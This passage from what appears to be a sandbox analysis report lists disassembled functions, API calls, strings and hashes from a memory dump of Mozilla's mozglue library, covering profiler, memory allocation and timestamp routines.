Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 1cb5893ce665560e0f77b0d91e6ef36d1a6d0acbd8f797ff3fc20a3c5d3dd4d6
Instruction ID: 0ede4b0eb53d5d3466d89bc48e2652bf04df85f20109b9c2b079211068a76b61
Opcode Fuzzy Hash: 1cb5893ce665560e0f77b0d91e6ef36d1a6d0acbd8f797ff3fc20a3c5d3dd4d6
Instruction Fuzzy Hash: 3951E7766017109BD7109F2AD8806EEB3B6BF95308FA5051CD89A57F04DB32F819CF92

Function 6C34CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C3131A7), ref: 6C34CDDD

Strings

<jemalloc>, xrefs: 6C34CF9F, 6C34CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C34CFA4, 6C34CFB8

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 87e5fdffce5b51d320bc58cd3a9da5891091f223910296965824a370664550ae
Instruction ID: b44c12cdad75bba459ec4a2d3ffc850b63f5c54af54b90e718ef6b36d24f207e
Opcode Fuzzy Hash: 87e5fdffce5b51d320bc58cd3a9da5891091f223910296965824a370664550ae
Instruction Fuzzy Hash: 1131E630B442155BEF10AEA59C45FAE7BF9BB41B5DF308014F611AFA80EB76D4488FA1

Function 6C356590 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C356727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C3567C8

Part of subcall function 6C364290: memcpy.VCRUNTIME140(?,?,6C372003,6C370AD9,?,6C370AD9,00000000,?,6C370AD9,?,00000004,?,6C371A62,?,6C372003,?), ref: 6C3642C4

Strings

$me/, xrefs: 6C3565A3
v9l, xrefs: 6C35696C
data, xrefs: 6C356593

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: $me/$data$v9l
API String ID: 511789754-2136945794
Opcode ID: d16da3927c395348d073d16432a6be1aa171da713fc2b7c435d7eccdd4993453
Instruction ID: ccb76e3161fc9bfa427d9f83221aa7a41766473d359d8c98fc208c19d27e1789
Opcode Fuzzy Hash: d16da3927c395348d073d16432a6be1aa171da713fc2b7c435d7eccdd4993453
Instruction Fuzzy Hash: EED1BEB5A093408FD724DF25C850B9AB7F5AFC5308F50492EE58A87B91EB31A819CF53

Function 6C34D5D0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C31EB57,?,?,?,?,?,?,?,?,?), ref: 6C34D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C31EB57,?), ref: 6C34D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C31EB57,?), ref: 6C34D673
free.MOZGLUE(?), ref: 6C34D888

Strings

|Enabled, xrefs: 6C34D81E
$me/, xrefs: 6C34D5DC, 6C34D7AC
W1l, xrefs: 6C34D5D9, 6C34D63F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: $me/$W1l$|Enabled
API String ID: 4142949111-2723070521
Opcode ID: 4c467a761a218f0b8506e3092f306a32efbeaf3aa16bd70dc60f280c2a734f91
Instruction ID: d4c815c85e8f94029557091c3d1501a7a97fe01f20a379f74556d9609c5ace44
Opcode Fuzzy Hash: 4c467a761a218f0b8506e3092f306a32efbeaf3aa16bd70dc60f280c2a734f91
Instruction Fuzzy Hash: 11A104B0A043448FDB01CF69C4907EEBBF5AF49318F18805CD889ABB41D736A945CFA1

Function 6C3205F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

$me/, xrefs: 6C320601

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID: $me/
API String ID: 0-2210144079
Opcode ID: f2c9e526af752ee616bf2fa0d772b619c9431cc3c8a292f74fa027cd8dddc8d5
Instruction ID: c7fcccaead6d5612f9f17caf54d338892ffc7efc5db336ec4a13bc8a4122440a
Opcode Fuzzy Hash: f2c9e526af752ee616bf2fa0d772b619c9431cc3c8a292f74fa027cd8dddc8d5
Instruction Fuzzy Hash: 29A147B0A00645CFDB24CF29C594A9AFBF5FF48304F54866ED48A97B00E735A949CFA0

Function 6C3714A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3714E2
GetCurrentThreadId.KERNEL32 ref: 6C371546
InitializeConditionVariable.KERNEL32(?), ref: 6C3715BA
free.MOZGLUE(?), ref: 6C3716B4

Strings

$me/, xrefs: 6C3714B2

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID: $me/
API String ID: 1909280232-2210144079
Opcode ID: be3116a9e89a22b90bbafc4b88a9e82ab1dd436ec07cae57e90cd5e6a97fdfae
Instruction ID: ca9401ef30a3338635976a7255d9eab912c5b8229a796243719895974c6808f1
Opcode Fuzzy Hash: be3116a9e89a22b90bbafc4b88a9e82ab1dd436ec07cae57e90cd5e6a97fdfae
Instruction Fuzzy Hash: B161E172A007549BDB218F25C890BDEB7B5BF89308F44851CED8A57701EB35E958CFA2

Function 6C369F40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C369FDB
free.MOZGLUE(?,?), ref: 6C369FF0
free.MOZGLUE(?,?), ref: 6C36A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C36A0BE
free.MOZGLUE(?,?), ref: 6C36A0D5
free.MOZGLUE(?,?), ref: 6C36A0EB

Strings

$me/, xrefs: 6C369F4F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: $me/
API String ID: 956590011-2210144079
Opcode ID: dd6fbced49540feefc20973d4d46592bb82e5651ba5484af43534c659ea51e6d
Instruction ID: 27456fcf348b87feac63bb3643381cf02b774e7b9f1bdf7afeecb3ce03fa5423
Opcode Fuzzy Hash: dd6fbced49540feefc20973d4d46592bb82e5651ba5484af43534c659ea51e6d
Instruction Fuzzy Hash: BE61DF754087519FC711CF19C48059AB3F5FF88329F109659E8999BB02EB32E986CFC2

Function 6C36C810 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C36C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C36C842

Part of subcall function 6C36CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C38B5EB,00000000), ref: 6C36CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C36C863
std::_Facet_Register.LIBCPMT ref: 6C36C875

Part of subcall function 6C34B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C38B636,?), ref: 6C34B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C36C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C36C8BC

Strings

$me/, xrefs: 6C36C81E

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID: $me/
API String ID: 2745304114-2210144079
Opcode ID: 02c95cc891b34fadfb33ded33401f9cd6c630455dc1aa6d4d939d364e2eaa12b
Instruction ID: ba38cefcb619296a4e0c839c450566289e866d48247fadf1b79445abbe5b9195
Opcode Fuzzy Hash: 02c95cc891b34fadfb33ded33401f9cd6c630455dc1aa6d4d939d364e2eaa12b
Instruction Fuzzy Hash: 42118675B002059BCF10EFA5D8858AEBBB9FF89359F140129E5069B751EB319904CFA1

Function 6C359420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
__Init_thread_footer.LIBCMT ref: 6C35949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C35946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C35947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C359459

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: f21ae282422cb303c3de158cb4fa1175b327758f26c168c8b613908c88366e21
Instruction ID: 69ab5ff822c523ad5ad85cece3292d6275475b0e323c129fd0c94d01f954376b
Opcode Fuzzy Hash: f21ae282422cb303c3de158cb4fa1175b327758f26c168c8b613908c88366e21
Instruction Fuzzy Hash: 970175B0A0020287DB00DF5CE815AC633BEAB0932DF144536ED0686B51F637D8768E57

Function 6C31B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B6AC

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C31B61E), ref: 6C31B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B79A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: e4bd762193299997f013e96d2f09836397728edf308385417da3d48f1a6ba43b
Instruction ID: a042d4049709aa948965fbf8e3c3873ce6e058a6b5313ca954c8514283f0e5e8
Opcode Fuzzy Hash: e4bd762193299997f013e96d2f09836397728edf308385417da3d48f1a6ba43b
Instruction Fuzzy Hash: 2541C3F2D041158FCB04DF68DC805AEB7B9BF54328F250629E825EBB80E731E9048BE1

Function 6C31EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C395104), ref: 6C31EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C31EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C31EFEC
free.MOZGLUE(?), ref: 6C31F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C31F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C31F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F065
moz_xmalloc.MOZGLUE ref: 6C31F072

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2b4d41914557d5ab5715dd26eb822aefc8f6f73a6e61af3697f8281cb78f0aa5
Instruction ID: f5d434339fbd4e71da6077ea18142b7b857f2219ee03b51f3c6bf37af289dc58
Opcode Fuzzy Hash: 2b4d41914557d5ab5715dd26eb822aefc8f6f73a6e61af3697f8281cb78f0aa5
Instruction Fuzzy Hash: 6E41E9B1A042159FCB08CF68D8819EE7769BF98314B24022CE915DBB94EB71E915CBE1

Function 6C329830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C377ABE), ref: 6C32985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C377ABE), ref: 6C3298A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C329909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C329918
free.MOZGLUE(?), ref: 6C329975

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 2d23f330f52a8eb0e3eb7694ba28c60132dccbef060b2bbd1346f6a7db2f9012
Instruction ID: 9d047e53b9214b7bbe0f4890cacd5e37ea0a8cae44b480e730e70e065421d3e1
Opcode Fuzzy Hash: 2d23f330f52a8eb0e3eb7694ba28c60132dccbef060b2bbd1346f6a7db2f9012
Instruction Fuzzy Hash: A8718A746007058FCB25CF28C480956B7F5FF4A3287244AA9E89A8BB90D776F845CFA1

Function 6C32B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE,?,?,6C35DC2C), ref: 6C32B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE,?,?,6C35DC2C), ref: 6C32B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE), ref: 6C32B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE,?,?,6C35DC2C), ref: 6C32B896

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 4a77edd5271d5c269f7004b871d2655e84c42cecf6a7fbc794d33bbe449c1c89
Instruction ID: fb0ecbcf684bdbfcd76919695108632b65251bdf27002f557dce7ac0e476e29f
Opcode Fuzzy Hash: 4a77edd5271d5c269f7004b871d2655e84c42cecf6a7fbc794d33bbe449c1c89
Instruction Fuzzy Hash: FA517B357006408FCB24CF59C584A6ABBF5FF8931CB69895DE99A8B752C736E801CF90

Function 6C314DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C314E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C314E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C314EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C314F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C314F1E

Strings

$me/, xrefs: 6C314DF6

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID: $me/
API String ID: 713647276-2210144079
Opcode ID: fa873665ce9e65952ac5010e73cdb9bc54ae3abff9df9e15e16daed6c63ff3e7
Instruction ID: df843b8d379cbc998545322b7df0fda48f417f07a4fdd1ce0351e81a272ca1ef
Opcode Fuzzy Hash: fa873665ce9e65952ac5010e73cdb9bc54ae3abff9df9e15e16daed6c63ff3e7
Instruction Fuzzy Hash: CA41DF716087019FC709CF29C48095BB7E8BF89348F108A2DF4A597B41DB31E918CFA2

Function 6C34F440 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C34F480

Part of subcall function 6C31F100: LoadLibraryW.KERNEL32(shell32,?,6C38D020), ref: 6C31F122
Part of subcall function 6C31F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C31F132

CloseHandle.KERNEL32(00000000), ref: 6C34F555

Part of subcall function 6C3214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C321248,6C321248,?), ref: 6C3214C9
Part of subcall function 6C3214B0: memcpy.VCRUNTIME140(?,6C321248,00000000,?,6C321248,?), ref: 6C3214EF

Part of subcall function 6C31EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C31EEE3

CreateFileW.KERNEL32 ref: 6C34F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C34F523

Strings

$me/, xrefs: 6C34F44E
\oleacc.dll, xrefs: 6C34F4CB

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: $me/$\oleacc.dll
API String ID: 2595878907-1532043321
Opcode ID: dc7a0c3c346c8c9cce435e3eab7bc6736a66471cb57971dfa5f1d35a9b148b76
Instruction ID: 2eed2eef7e1390098285779bf56b12ba8199926796533e4fd4921a84fff9d1fe
Opcode Fuzzy Hash: dc7a0c3c346c8c9cce435e3eab7bc6736a66471cb57971dfa5f1d35a9b148b76
Instruction Fuzzy Hash: 0141B0306087109FE720DF69C884B9BB7F8AF89318F104A5CF59587650EB71E949CFA2

Function 6C37AD70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AD9D

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AE01
